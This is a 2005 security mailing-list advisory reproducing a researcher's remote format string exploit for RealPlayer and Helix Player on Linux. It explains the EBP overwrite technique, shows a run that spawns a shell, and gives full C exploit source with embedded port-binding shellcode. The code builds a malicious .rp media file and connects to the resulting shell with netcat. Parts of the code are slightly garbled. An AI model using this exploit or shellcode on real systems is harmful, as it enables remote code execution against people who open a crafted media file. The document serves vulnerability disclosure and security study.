

# [NEWS] HelixPlayer Based Players Format String

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0098.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 09/27/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 27 Sep 2005 15:16:41 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

HelixPlayer Based Players Format String

---

## SUMMARY

"The <https://player.helixcommunity.org/> Helix Player is an open source media player for Linux, Solaris (versions for other operating systems are under development) and Symbian." " <http://www.real.com/> RealPlayer 10 for Linux is based on the open source Helix player."

HelixPlayer based players are vulnerable to format string attack which in turn allows attackers to execute arbitrary code on the system running the player.

## DETAILS

Vulnerable Systems:

\* Helix Player 1.0.5 and prior

A format string vulnerability exists in Helix Media Player suit that allow an attacker the possibility to execute malicious code on a victims computer.

The bug is exploitable by abusing media, including .rp (relpix)and .rt (realtext) file formats.

## Securiteam: [NEWS] HelixPlayer Based Players Format String

Almost all media file input is placed on the heap, so it's not possible to just pop our way to a supplied string like with a normal stack based format bug, as such the attacker can't modify directly GOT, DTORS flags, leaving limited to what the attacker can do.

There are several places where attackers can control the flow of execution:

popN – call \*0x04(eax) – eax is controlled  
popN+N – call \*0x20(eax) – eax is controlled  
popN+NN – call \*0x100(edx) – edx is controlled  
popN+NNN – ebp – ebp is controlled  
popN+NNNN – eip – eip is controlled  
...

However since attackers are limited to the size of the value that can be written, it doesn't seem possible to point at a known good location directly. An attacker's shellcode is always mapped via the .rp file between 0x0822\*\* – 0x082f\*\* and with control of one pointer at a time usually, the attackers can not reach LSB.

The file being played is under my control and only the MSB needs overwritten. This solves the problem with the size of the value an attacker can write. It is possible to modify the MSB of an EBP that is reachable, eventually leading to EIP pointing at some good location after "mov %ebp,%esp" happens, resulting in the execution of our shellcode.

Proof of Concept:

1. Create a file with shellcode address `printf "\x37\x13\x12\x08" .rp
2. Overwrite EBP MSB with the address of the file location on the stack
3. EBP is moved to ESP
4. EIP is changed to ESP value
5. EIP is owned, shell is spawned

Window 1:

```
c0ntex@debauch:~$ netstat -an --ip
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
State
tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:*
LISTEN
tcp 0 0 192.168.88.133:22 192.168.88.1:2080
ESTABLISHED
udp 0 0 0.0.0.0:68 0.0.0.0:*
c0ntex@debauch:~$ ./helix4real
```

Exploit:

```
/*
*****
$ An open security advisory #13 – RealPlayer and Helix Player Remote
```

## Securiteam: [NEWS] HelixPlayer Based Players Format String

### Format String Exploit

\*\*\*\*\*

1: Bug Researcher: c0ntex – c0ntexb[at]gmail.com

2: Bug Released: September 26th 2005

3: Bug Impact Rate: Hi

4: Bug Scope Rate: Remote

\*\*\*\*\*

\$ This advisory and/or proof of concept code must not be used for commercial gain.

\*\*\*\*\*

UNIX RealPlayer && Helix Player

<http://real.com>

<http://helixcommunity.org>

"The Helix Player is the Helix Community's open source media player for consumers. It is being developed to have a rich and usable graphical interface and support a variety of open media formats like Ogg Vorbis, Theora etc.

The RealPlayer for Linux is built on top of the Helix Player for Linux and includes support for several non–open source components including RealAudio/RealVideo, MP3 etc."

There is a remotely exploitable format string vulnerability in the latest Helix Media Player suit that will allow an attacker the possibility to execute malicious code on a victims computer. The exploit code will execute a remote shell under the permissions of the user running the media player, and effects all versions of RealPlayer and Helix Player.

The bug is exploitable by abusing media, including .rp (relpix)and .rt (realtext) file formats. Although others may be effected I stick to realpix file format for this advisory.

Almost all media file input is placed on the heap, so it's not possible to just pop our way to a supplied string like with a normal stack based format bug, as such we can't directly modify GOT, DTORS, etc. leaving us limited to what we can do.

There are several places where we can control the flow of execution:

popN – call \*0x04(eax) – eax is controlled  
popN+N – call \*0x20(eax) – eax is controlled  
popN+NN – call \*0x100(edx) – edx is controlled  
popN+NNN – ebp – ebp is controlled  
popN+NNNN – eip – eip is controlled  
....

however since we are limited to the size of the value that can be written, it doesn't seem possible to point at a known good location directly. Since our shellcode is always mapped via the .rp file between 0x0822\*\* – 0x082f\*\* and with control of one pointer at a time usually, we

## Securiteam: [NEWS] HelixPlayer Based Players Format String

can not reach the LSB, we are toast.

In a phrack paper, Riq talks about using sections of the base pointer to create a 4 byte pointer by chaining EBP like so:

[Frame 10 EBP]---points to-->[Frame 11 EBP]---points to-->[Frame 12 EBP]

And can be manipulated something like so:

```
-----  
Frame 10 Frame 11 Frame 12  
-----  
      1|-----|  
[LSBMSB] [LSBMSB]-- [41414141]  
      2|-----^ 3|-----^
```

Well, it doesn't work :-( .ebp gets moved to esp in frame 11 and it ends with EIP pointing at 0x00000000.

So what else can I do?

How about use the fact the file being played is under my control and only the MSB needs overwritten. This solves the problem with the size of the value I can write. It is possible to modify the MSB of an EBP that is reachable, eventually leading to EIP pointing at some good location after "mov %ebp,%esp" happens, resulting in the execution of our shellcode.

- 1-> Create a file with shellcode address `printf "\x37\x13\x12\x08"`.rp
- 2-> Overwrite EBP MSB with the address of the file location on the stack
- 3-> EBP is moved to ESP
- 4-> EIP is changed to ESP value
- 5-> EIP is owned, shell is spawned

Granted this is not a stable method as the user can freely manipulate their environment, and we use the file name, which is stored in an environment variable to trampoline us to the shellcode. However my goal here is not to create a worm but a proof-of-concept :p

The supplied POC should work flawlessly on Debian 3.1, with RealPlayer installed in /usr/local/RealPlayer and run as shown below.

Sample local run:

Test System: Debian 3.1 against RealPlayer10.0.5.756 Gold

Window 1:

```
-----  
cOntex@debauch:~$ netstat -an --ip  
Active Internet connections (servers and established)
```

## Securiteam: [NEWS] HelixPlayer Based Players Format String

```
Proto Recv-Q Send-Q Local Address Foreign Address
State
tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:*
LISTEN
tcp 0 0 192.168.88.133:22 192.168.88.1:2080
ESTABLISHED
udp 0 0 0.0.0.0:68 0.0.0.0:*
c0ntex@debauch:~$ ./helix4real
```

Remote format string exploit POC for UNIX RealPlayer && HelixPlayer  
Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version  
by c0ntex || c0ntexb@gmail.com || <http://www.open-security.org>

```
[-] Creating file [VY~ .rp]
[-] Using [148] stack pops
[-] Modifying EBP MSB with value [64105]
[-] Completed creation of test file!
[-] Executing RealPlayer now...
[-] Connecting to shell in 10 seconds
* YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW *
```

```
(realplay.bin:22202): Pango-WARNING *: Invalid UTF-8 string passed to
pango_layout_set_text()
```

```
(realplay.bin:22202): Pango-WARNING *: Invalid UTF-8 string passed to
pango_layout_set_text()
```

```
ps -ef | tail -12;
...
c0ntex 1631 1624 0 01:10 pts/2 00:00:00 /bin/sh
/usr/bin/realplay ./VYF&(?rp
c0ntex 1636 1631 4 01:10 pts/2 00:00:02 /bin//sh
c0ntex 1637 1636 0 01:10 pts/2 00:00:00 ? f ? ?\
?? .rp
c0ntex 1638 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
?? .rp
c0ntex 1639 1636 0 01:10 pts/2 00:00:00
/usr/local/RealPlayer/realplay.bin ./VYF&(?rp
c0ntex 1640 1636 0 01:10 pts/2 00:00:00
/usr/local/RealPlayer/realplay.bin ./VYF&(?rp
c0ntex 1641 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
?? .rp
c0ntex 1642 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
?? .rp
c0ntex 1643 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
?? .rp
...
```

## Securiteam: [NEWS] HelixPlayer Based Players Format String

To exploit this remotely, a user just needs to place the created file on a web site and provide a link so users can click the file, launching RealPlayer and exploiting the vulnerability.

Real have been duly informed about this issue and are fixing. Sadly though, it seems someone is trying to pinch my research, as such I have been forced to release this advisory sooner than hoped. Until Real get a new release out, do not play untrusted media with RealPlayer or HelixPlayer. Sorry Real.com!

Moral of the story, don't talk about personal research on IRC. Thank you plagiarizers.

PS: A new RSS feed for the latest 5 Open Security Group Advisories, @ <http://www.open-security.org/adv.xml> is now available.

\*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 10000
#define EBPMSB 64105
#define HOST "localhost"
#define NETCAT "/bin/nc"
#define NOPS 0x90
#define STACKPOP 148
#define VULN "/usr/local/RealPlayer/realplay"

char filename[]="\x56\x59\x14\x82\x26\x08\x2e\x72\x70";

/* metasploit port binding shellcode = 4444 */
char hellcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66"
"\x58\x99\x89\xe1\xcd\x80\x96\x43\x52"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a"
"\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
"\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a"
"\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
"\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xcd\x80";

int
filegen(char *shellcode)
{
    FILE *rp;

    printf("[--] Creating file [%s]\n", filename);
```

## Securiteam: [NEWS] HelixPlayer Based Players Format String

```
rp = fopen(filename, "w");
if(!rp) {
    puts("[!] Could not fopen file!");
    free(shellcode);
    return(EXIT_FAILURE);
}

printf("[ - ] Using [%d] stack pops\n[ - ] Modifying EBP MSB with value
[%d]\n", STACKPOP, EBPM5B);

fprintf(rp,
    "<imfl>\n"
    "<head\n"
    "duration=\"1:33.7\"\n"
    "timeformat=\"dd:hh:mm:ss.xyz\"\n"
    "preroll=\"1:33.7\"\n"
    "bitrate=\"1337\"\n"
    "width=\"69\"\n"
    "height=\"69\"\n"
    "aspect=\"\"\n"
    "url=\"http://www.open-security.org\"/>\n"
    "<image handle=\"%%.%du%%.%.d$hn\"
name=\"findme%s\"/>\n"
    "<fadein start=\"0\" duration=\"0:01\"
target=\"2\"/>\n"
    "</imfl>", EBPM5B, STACKPOP, shellcode);
fclose(rp);

free(shellcode); shellcode = NULL;

return(EXIT_SUCCESS);
}

int
main(int argc, char *argv)
{
    char *shellcode = NULL;

    puts("\nRemote format string exploit POC for UNIX RealPlayer &&
HelixPlayer");
    puts("Code tested on Debian 3.1 against RealPlayer 10 Gold's latest
version");
    puts("by c0ntex || c0ntexb@gmail.com ||
http://www.open-security.org\n");

    shellcode = (char *)malloc(BUFFER);
    if(!shellcode) {
        puts("[!] Could not malloc");
        return(EXIT_FAILURE);
    }
}
```

## Securiteam: [NEWS] HelixPlayer Based Players Format String

```
memset(shellcode, NOPS, BUFFER);
memcpy(&shellcode[BUFFER-strlen(hellcode)], hellcode,
strlen(hellcode));
shellcode[BUFFER] = '\0';

filegen(shellcode);

puts("[ - ] Completed creation of test file!\n[ - ] Executing RealPlayer
now...");

switch(fork()) {
  case -1:
    puts("[!] Could not fork off, bailing!");
    return(EXIT_FAILURE);
  case 0:
    if(execl(VULN, "realplay", filename, NULL) <0) {
      puts("[!] Could not execute realplayer...
:(");
      return(EXIT_FAILURE);
    }
}

puts("[ - ] Connecting to shell in 10 seconds\n* YOU MIGHT HAVE TO HIT
RETURN ON REALPLAYER WINDOW *");
sleep(10);

if(execl(NETCAT, "nc", HOST, "4444", NULL) <0) {
  puts("[!] Could not connect, check the core file!");
  return(EXIT_FAILURE);
}

return(EXIT_SUCCESS);
}

/* EoF */
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:c0ntexb@gmail.com>> c0ntex .

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

Securiteam: [NEWS] HelixPlayer Based Players Format String

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.